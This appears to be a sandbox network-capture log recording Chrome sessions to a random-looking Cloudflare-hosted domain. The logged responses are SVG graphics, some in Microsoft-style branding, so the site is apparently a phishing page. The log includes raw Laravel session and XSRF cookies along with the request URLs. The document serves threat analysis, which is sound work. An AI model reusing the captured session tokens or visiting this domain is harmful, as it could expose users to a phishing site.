2024-04-23 19:54:09 UTC	1110	OUT	GET /ioA9WkaHpGHbSxWyGOmyjZ4CeUqai9zYvvo9IvKLdFjDvXel HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImRFc0YyeHA4T1FiYy8wV2ZWbVZPUVE9PSIsInZhbHVlIjoiclRGeHdnS1lJLzQ0bzFlOVd6eU5nMEt5UXU5VkNZekVKc2tQWjFUc3MwTlpRYitGamVwTUtWenhacjJ5eE5kNU95UVUwSXl6bGE4VTNkc2NKNGYzVHpNWFZqdGNQWWE3aFhkZXVydGpqSjg4TkxNMkNiTTk0L1ZlRzFwUFBTZ2siLCJtYWMiOiIyZDY1Y2Q3NTQyYzVlYzZiOGUwNTVhNmUzYzUxMTcxZmI4Y2E5M2M2YzYyZDc3MTVkYmJlMWI0MDA4MGRlNzY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZ2bWtPN3pRNHdQY1RNMEJDMDRhYWc9PSIsInZhbHVlIjoiN2plZVJXKzZML3R3L3llTm4zdVFIZ0g1R1FVWGl6alhYN0I3OHNoR2xDd0ZZZU0zNlRlU0RRUHRTVUY5VEhpZW9QcnJQUjdLMC9EWStmNkZDa2JFdWVuZy9Edy80ZGlPbUZteDJlN081WVlRZ1cvLzNaakh2Yi8ybEJNOTN4WDkiLCJtYWMiOiIyYmY3MzgxZTliNzRkM2U2MGQwNTJkODllYTVlMTQ2MzRkYmQ3YWQ2ODE5ZjY1NjQ0NjZlNDc4YTc3MTljZGQ5IiwidGFnIjoiIn0%3D
2024-04-23 19:54:09 UTC	585	IN	HTTP/1.1 404 Not Found Date: Tue, 23 Apr 2024 19:54:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Bncf2I3IsdN2ZPcdTXyH%2FPuL0lXg3sDyyVoz5dsfdtlq8ucXsQYBcZ8nWgbesNgeJBV28bstElE%2BlFtlfI9kBm62mb4dofYyCF6QVb6HuaLj%2F6xUpCrej8%2Fd6%2FvtWA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8790675fcadc7bd5-ATL
2024-04-23 19:54:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49792	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:09 UTC	1141	OUT	GET /mnl2tHQ07yj2qZbGoQPLc2rws7XKCbM9CrmJtCNM7qbSB856rqfsEpXq5H383Fjyek8KV2n6SNuv220 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImRFc0YyeHA4T1FiYy8wV2ZWbVZPUVE9PSIsInZhbHVlIjoiclRGeHdnS1lJLzQ0bzFlOVd6eU5nMEt5UXU5VkNZekVKc2tQWjFUc3MwTlpRYitGamVwTUtWenhacjJ5eE5kNU95UVUwSXl6bGE4VTNkc2NKNGYzVHpNWFZqdGNQWWE3aFhkZXVydGpqSjg4TkxNMkNiTTk0L1ZlRzFwUFBTZ2siLCJtYWMiOiIyZDY1Y2Q3NTQyYzVlYzZiOGUwNTVhNmUzYzUxMTcxZmI4Y2E5M2M2YzYyZDc3MTVkYmJlMWI0MDA4MGRlNzY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZ2bWtPN3pRNHdQY1RNMEJDMDRhYWc9PSIsInZhbHVlIjoiN2plZVJXKzZML3R3L3llTm4zdVFIZ0g1R1FVWGl6alhYN0I3OHNoR2xDd0ZZZU0zNlRlU0RRUHRTVUY5VEhpZW9QcnJQUjdLMC9EWStmNkZDa2JFdWVuZy9Edy80ZGlPbUZteDJlN081WVlRZ1cvLzNaakh2Yi8ybEJNOTN4WDkiLCJtYWMiOiIyYmY3MzgxZTliNzRkM2U2MGQwNTJkODllYTVlMTQ2MzRkYmQ3YWQ2ODE5ZjY1NjQ0NjZlNDc4YTc3MTljZGQ5IiwidGFnIjoiIn0%3D
2024-04-23 19:54:09 UTC	682	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:54:09 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="mnl2tHQ07yj2qZbGoQPLc2rws7XKCbM9CrmJtCNM7qbSB856rqfsEpXq5H383Fjyek8KV2n6SNuv220" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3KwLtwggjflO3did3mQIGy886I0LIapx8KhL0Ud4POHe0Fs6uA0zYr1LEociB26ypU48X%2BZLWC4Z9ShCOWk4LMoY5gWzwb%2B0Zt4tfKFgRLR2QednV%2B6rd0RBheqskw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 879067622b931f9e-ATL
2024-04-23 19:54:09 UTC	687	IN	Data Raw: 37 34 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 Data Ascii: 748<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1
2024-04-23 19:54:09 UTC	1184	IN	Data Raw: 2d 39 38 34 20 31 39 38 2d 34 32 34 2e 34 34 35 20 31 32 31 35 2e 36 20 32 36 35 2e 38 20 31 32 31 35 2e 36 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 44 29 22 2f 3e 3c 2f 67 3e 3c 64 65 66 73 3e 3c 72 61 64 69 61 6c 47 72 61 64 69 65 6e 74 20 69 64 3d 22 41 22 20 63 78 3d 22 30 22 20 63 79 3d 22 30 22 20 72 3d 22 31 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 67 72 61 64 69 65 6e 74 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 34 36 36 2e 34 20 33 39 33 2e 36 29 20 72 6f 74 61 74 65 28 39 30 29 20 73 63 61 6c 65 28 31 34 30 31 2e 36 20 31 37 32 30 2e 38 29 22 3e 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 31 30 37 63 31 30 22 2f 3e 3c 73 74 6f 70 20 6f 66 66 73 65 74 Data Ascii: -984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset
2024-04-23 19:54:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49790	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:09 UTC	1489	OUT	GET /mndHSfQb7XvbrLZM9aX9ijbdgEYSAxo5cJl78150 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImRFc0YyeHA4T1FiYy8wV2ZWbVZPUVE9PSIsInZhbHVlIjoiclRGeHdnS1lJLzQ0bzFlOVd6eU5nMEt5UXU5VkNZekVKc2tQWjFUc3MwTlpRYitGamVwTUtWenhacjJ5eE5kNU95UVUwSXl6bGE4VTNkc2NKNGYzVHpNWFZqdGNQWWE3aFhkZXVydGpqSjg4TkxNMkNiTTk0L1ZlRzFwUFBTZ2siLCJtYWMiOiIyZDY1Y2Q3NTQyYzVlYzZiOGUwNTVhNmUzYzUxMTcxZmI4Y2E5M2M2YzYyZDc3MTVkYmJlMWI0MDA4MGRlNzY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZ2bWtPN3pRNHdQY1RNMEJDMDRhYWc9PSIsInZhbHVlIjoiN2plZVJXKzZML3R3L3llTm4zdVFIZ0g1R1FVWGl6alhYN0I3OHNoR2xDd0ZZZU0zNlRlU0RRUHRTVUY5VEhpZW9QcnJQUjdLMC9EWStmNkZDa2JFdWVuZy9Edy80ZGlPbUZteDJlN081WVlRZ1cvLzNaakh2Yi8ybEJNOTN4WDkiLCJtYWMiOiIyYmY3MzgxZTliNzRkM2U2MGQwNTJkODllYTVlMTQ2MzRkYmQ3YWQ2ODE5ZjY1NjQ0NjZlNDc4YTc3MTljZGQ5IiwidGFnIjoiIn0%3D
2024-04-23 19:54:09 UTC	643	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:54:09 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="mndHSfQb7XvbrLZM9aX9ijbdgEYSAxo5cJl78150" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FZmpcoTdc3X4JvaasAzSQlUUXThWI1z%2BcwQQL7miq4CAzWk6PjHgHYbadiRpvQ4uz3ycL7vmMOKhdnSCOZRzLPHuFRnhBG0eNSiZjofHFtJRxYt8kBgMggEw0R3%2FJg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8790676219b9b03f-ATL
2024-04-23 19:54:09 UTC	277	IN	Data Raw: 31 30 65 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 32 22 20 68 65 69 67 68 74 3d 22 31 32 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 20 31 32 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 31 32 22 20 68 65 69 67 68 74 3d 22 31 32 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 36 2e 37 2c 36 2c 31 32 2c 31 31 2e 33 30 39 2c 31 31 2e 33 30 39 2c 31 32 2c 36 2c 36 2e 37 2e 36 39 31 2c 31 32 2c 30 2c 31 31 2e 33 30 39 2c 35 2e 33 2c 36 2c 30 2c 2e 36 39 31 2e 36 39 31 2c 30 2c 36 2c 35 2e 33 2c 31 31 2e 33 30 39 2c 30 2c 31 32 2c 2e 36 39 31 5a 22 20 66 69 Data Ascii: 10e<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"><title>assets</title><rect width="12" height="12" fill="none"/><path d="M6.7,6,12,11.309,11.309,12,6,6.7.691,12,0,11.309,5.3,6,0,.691.691,0,6,5.3,11.309,0,12,.691Z" fi
2024-04-23 19:54:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	49789	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:09 UTC	1516	OUT	GET /klOBAXKkM7zxA0PBXtuGSU6IpHSSzXjjkyJZcdNfRjNwpgHUKsNeFPOpTVPLe578167 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImRFc0YyeHA4T1FiYy8wV2ZWbVZPUVE9PSIsInZhbHVlIjoiclRGeHdnS1lJLzQ0bzFlOVd6eU5nMEt5UXU5VkNZekVKc2tQWjFUc3MwTlpRYitGamVwTUtWenhacjJ5eE5kNU95UVUwSXl6bGE4VTNkc2NKNGYzVHpNWFZqdGNQWWE3aFhkZXVydGpqSjg4TkxNMkNiTTk0L1ZlRzFwUFBTZ2siLCJtYWMiOiIyZDY1Y2Q3NTQyYzVlYzZiOGUwNTVhNmUzYzUxMTcxZmI4Y2E5M2M2YzYyZDc3MTVkYmJlMWI0MDA4MGRlNzY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZ2bWtPN3pRNHdQY1RNMEJDMDRhYWc9PSIsInZhbHVlIjoiN2plZVJXKzZML3R3L3llTm4zdVFIZ0g1R1FVWGl6alhYN0I3OHNoR2xDd0ZZZU0zNlRlU0RRUHRTVUY5VEhpZW9QcnJQUjdLMC9EWStmNkZDa2JFdWVuZy9Edy80ZGlPbUZteDJlN081WVlRZ1cvLzNaakh2Yi8ybEJNOTN4WDkiLCJtYWMiOiIyYmY3MzgxZTliNzRkM2U2MGQwNTJkODllYTVlMTQ2MzRkYmQ3YWQ2ODE5ZjY1NjQ0NjZlNDc4YTc3MTljZGQ5IiwidGFnIjoiIn0%3D
2024-04-23 19:54:09 UTC	674	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 19:54:09 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="klOBAXKkM7zxA0PBXtuGSU6IpHSSzXjjkyJZcdNfRjNwpgHUKsNeFPOpTVPLe578167" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5mEi2REqnBdnRlhZWW2AoiDwCDG6I0LuUnZ%2FcsmNhML9nYiJWcIcV1a%2FyExOcDrsPvnyxmm1DurAmjWP9d1ElLEIniK5WFhUO9HMxd%2Fwv0Y6W%2BCl%2BXsTgaHhr9zc6Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8790676219128831-ATL
2024-04-23 19:54:09 UTC	695	IN	Data Raw: 31 63 64 65 0d 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0d 0a 3c 6d 61 73 6b 20 69 64 3d 22 30 37 62 32 36 30 33 34 2d 35 36 61 33 2d 34 39 64 32 2d 38 66 32 36 2d 63 37 62 38 34 65 62 34 65 65 64 34 22 20 66 69 6c 6c 3d 22 23 66 66 66 66 66 66 22 3e 0d 0a 3c 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 32 33 2e 39 37 36 32 20 30 43 31 36 2e 38 32 34 34 20 30 20 31 30 2e 39 37 30 37 20 35 2e 32 34 33 32 35 20 31 Data Ascii: 1cde<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg"><mask id="07b26034-56a3-49d2-8f26-c7b84eb4eed4" fill="#ffffff"><path fill-rule="evenodd" clip-rule="evenodd" d="M23.9762 0C16.8244 0 10.9707 5.24325 1
2024-04-23 19:54:09 UTC	1369	IN	Data Raw: 38 20 33 31 2e 31 34 37 20 30 20 32 33 2e 39 37 36 32 20 30 5a 4d 31 32 2e 32 33 35 34 20 33 38 2e 34 36 39 34 43 31 34 2e 33 30 38 37 20 33 33 2e 39 39 38 37 20 31 38 2e 38 33 36 38 20 33 30 2e 38 39 38 31 20 32 34 2e 30 38 39 31 20 33 30 2e 38 39 38 31 43 32 39 2e 32 33 39 35 20 33 30 2e 38 39 38 31 20 33 33 2e 36 39 33 36 20 33 33 2e 38 37 39 37 20 33 35 2e 38 31 39 34 20 33 38 2e 32 31 30 39 43 33 33 2e 39 33 30 32 20 34 30 2e 36 31 31 39 20 33 31 2e 34 33 39 39 20 34 32 2e 38 39 35 34 20 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 43 32 35 2e 35 30 34 37 20 34 36 2e 35 33 37 34 20 32 32 2e 32 30 33 37 20 34 36 2e 35 32 39 33 20 31 39 2e 36 30 33 31 20 34 Data Ascii: 8 31.147 0 23.9762 0ZM12.2354 38.4694C14.3087 33.9987 18.8368 30.8981 24.0891 30.8981C29.2395 30.8981 33.6936 33.8797 35.8194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 4
2024-04-23 19:54:09 UTC	1369	IN	Data Raw: 2e 38 31 39 34 20 33 38 2e 32 31 30 39 43 33 33 2e 39 33 30 32 20 34 30 2e 36 31 31 39 20 33 31 2e 34 33 39 39 20 34 32 2e 38 39 35 34 20 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 43 32 35 2e 35 30 34 37 20 34 36 2e 35 33 37 34 20 32 32 2e 32 30 33 37 20 34 36 2e 35 32 39 33 20 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 39 2e 36 30 30 39 20 34 34 2e 39 30 32 4c 31 39 2e 35 39 38 38 20 34 34 2e 39 30 30 37 43 31 36 2e 34 38 37 36 20 34 32 2e 39 36 37 32 20 31 34 2e 30 38 34 32 20 34 30 2e 37 37 33 38 20 31 32 2e 32 33 35 34 20 33 38 2e 34 36 39 34 5a 4d 33 31 2e 37 33 35 32 20 31 32 2e 31 36 34 34 43 32 36 2e 35 37 33 36 20 31 31 2e 36 39 39 35 20 32 Data Ascii: .8194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 44.902L19.5988 44.9007C16.4876 42.9672 14.0842 40.7738 12.2354 38.4694ZM31.7352 12.1644C26.5736 11.6995 2
2024-04-23 19:54:09 UTC	1369	IN	Data Raw: 32 36 2e 30 38 36 31 20 34 31 2e 34 38 32 34 4c 32 38 2e 31 37 34 34 20 34 34 2e 38 39 33 39 5a 4d 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 4c 32 36 2e 30 38 34 20 34 31 2e 34 38 33 36 4c 32 36 2e 30 37 36 37 20 34 31 2e 34 38 38 31 4c 32 38 2e 31 37 32 34 20 34 34 2e 38 39 35 32 5a 4d 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 4c 32 36 2e 30 37 34 36 20 34 31 2e 34 38 39 34 4c 32 36 2e 30 37 33 34 20 34 31 2e 34 39 30 32 4c 32 38 2e 31 37 30 33 20 34 34 2e 38 39 36 35 5a 4d 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 4c 31 37 2e 34 38 31 20 34 38 2e 32 39 34 31 4c 31 37 2e 34 38 32 36 20 34 38 2e 32 39 35 4c 31 39 2e 36 30 33 31 20 34 34 2e 39 30 33 34 5a 4d 31 39 2e 36 30 30 39 20 34 34 2e 39 30 32 4c 32 31 2e 37 32 33 20 34 31 2e 35 31 31 33 4c Data Ascii: 26.0861 41.4824L28.1744 44.8939ZM28.1724 44.8952L26.084 41.4836L26.0767 41.4881L28.1724 44.8952ZM28.1703 44.8965L26.0746 41.4894L26.0734 41.4902L28.1703 44.8965ZM19.6031 44.9034L17.481 48.2941L17.4826 48.295L19.6031 44.9034ZM19.6009 44.902L21.723 41.5113L
2024-04-23 19:54:09 UTC	1369	IN	Data Raw: 34 31 33 20 34 39 2e 39 30 35 43 34 34 2e 37 34 30 38 20 34 31 2e 36 34 33 20 34 37 2e 33 31 32 35 20 32 39 2e 31 34 30 37 20 34 37 2e 33 31 32 35 20 32 31 2e 31 32 38 37 48 33 39 2e 33 31 32 35 5a 4d 33 39 2e 33 31 32 34 20 32 31 2e 30 39 36 43 33 39 2e 33 31 32 35 20 32 31 2e 31 30 36 38 20 33 39 2e 33 31 32 35 20 32 31 2e 31 31 37 38 20 33 39 2e 33 31 32 35 20 32 31 2e 31 32 38 37 48 34 37 2e 33 31 32 35 43 34 37 2e 33 31 32 35 20 32 31 2e 30 39 38 32 20 34 37 2e 33 31 32 34 20 32 31 2e 30 36 37 36 20 34 37 2e 33 31 32 32 20 32 31 2e 30 33 37 4c 33 39 2e 33 31 32 34 20 32 31 2e 30 39 36 5a 4d 33 39 2e 33 31 32 35 20 32 30 2e 39 34 31 32 43 33 39 2e 33 31 32 35 20 32 30 2e 39 37 38 20 33 39 2e 33 31 32 34 20 32 31 2e 30 31 34 39 20 33 39 2e 33 31 32 33 Data Ascii: 413 49.905C44.7408 41.643 47.3125 29.1407 47.3125 21.1287H39.3125ZM39.3124 21.096C39.3125 21.1068 39.3125 21.1178 39.3125 21.1287H47.3125C47.3125 21.0982 47.3124 21.0676 47.3122 21.037L39.3124 21.096ZM39.3125 20.9412C39.3125 20.978 39.3124 21.0149 39.3123
2024-04-23 19:54:09 UTC	1227	IN	Data Raw: 32 39 32 37 5a 4d 31 37 2e 34 38 36 38 20 34 38 2e 32 39 37 37 4c 31 37 2e 34 38 39 20 34 38 2e 32 39 39 4c 32 31 2e 37 31 32 39 20 34 31 2e 35 30 35 4c 32 31 2e 37 31 30 37 20 34 31 2e 35 30 33 37 4c 31 37 2e 34 38 36 38 20 34 38 2e 32 39 37 37 5a 4d 39 2e 31 31 35 33 39 20 34 30 2e 39 37 32 36 43 31 31 2e 32 35 34 31 20 34 33 2e 36 33 38 33 20 31 34 2e 30 30 31 31 20 34 36 2e 31 33 31 34 20 31 37 2e 34 38 37 34 20 34 38 2e 32 39 38 4c 32 31 2e 37 31 30 32 20 34 31 2e 35 30 33 33 43 31 38 2e 39 37 34 32 20 33 39 2e 38 30 33 20 31 36 2e 39 31 34 33 20 33 37 2e 39 30 39 33 20 31 35 2e 33 35 35 33 20 33 35 2e 39 36 36 33 4c 39 2e 31 31 35 33 39 20 34 30 2e 39 37 32 36 5a 4d 31 36 2e 35 37 32 38 20 31 36 2e 31 33 36 31 43 32 31 2e 34 39 38 34 20 31 35 2e 37 Data Ascii: 2927ZM17.4868 48.2977L17.489 48.299L21.7129 41.505L21.7107 41.5037L17.4868 48.2977ZM9.11539 40.9726C11.2541 43.6383 14.0011 46.1314 17.4874 48.298L21.7102 41.5033C18.9742 39.803 16.9143 37.9093 15.3553 35.9663L9.11539 40.9726ZM16.5728 16.1361C21.4984 15.7
2024-04-23 19:54:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49791	172.67.143.205	443	6412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 19:54:09 UTC	1495	OUT	GET /wxU2EPAQmKCucHi94Nct3opto7kIWmKk6EPt8vWRE90180 HTTP/1.1 Host: o5u7g.zleu9.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o5u7g.zleu9.com/XhaQEKHwmqeXiuCbMVTRVruGRjRPRIDWFUPFICPEYZGBHMWGEVVPPBXVQDKEPFCXWUJ?MCFKKCTFWYSAEFPSCNVZQJIUBPpheTomFVBFOCNFEXHSGGZYDODQKSWFTPNMNKEYPKASTONRVGUROOMDEYM Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImRFc0YyeHA4T1FiYy8wV2ZWbVZPUVE9PSIsInZhbHVlIjoiclRGeHdnS1lJLzQ0bzFlOVd6eU5nMEt5UXU5VkNZekVKc2tQWjFUc3MwTlpRYitGamVwTUtWenhacjJ5eE5kNU95UVUwSXl6bGE4VTNkc2NKNGYzVHpNWFZqdGNQWWE3aFhkZXVydGpqSjg4TkxNMkNiTTk0L1ZlRzFwUFBTZ2siLCJtYWMiOiIyZDY1Y2Q3NTQyYzVlYzZiOGUwNTVhNmUzYzUxMTcxZmI4Y2E5M2M2YzYyZDc3MTVkYmJlMWI0MDA4MGRlNzY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InZ2bWtPN3pRNHdQY1RNMEJDMDRhYWc9PSIsInZhbHVlIjoiN2plZVJXKzZML3R3L3llTm4zdVFIZ0g1R1FVWGl6alhYN0I3OHNoR2xDd0ZZZU0zNlRlU0RRUHRTVUY5VEhpZW9QcnJQUjdLMC9EWStmNkZDa2JFdWVuZy9Edy80ZGlPbUZteDJlN081WVlRZ1cvLzNaakh2Yi8ybEJNOTN4WDkiLCJtYWMiOiIyYmY3MzgxZTliNzRkM2U2MGQwNTJkODllYTVlMTQ2MzRkYmQ3YWQ2ODE5ZjY1NjQ0NjZlNDc4YTc3MTljZGQ5IiwidGFnIjoiIn0%3D
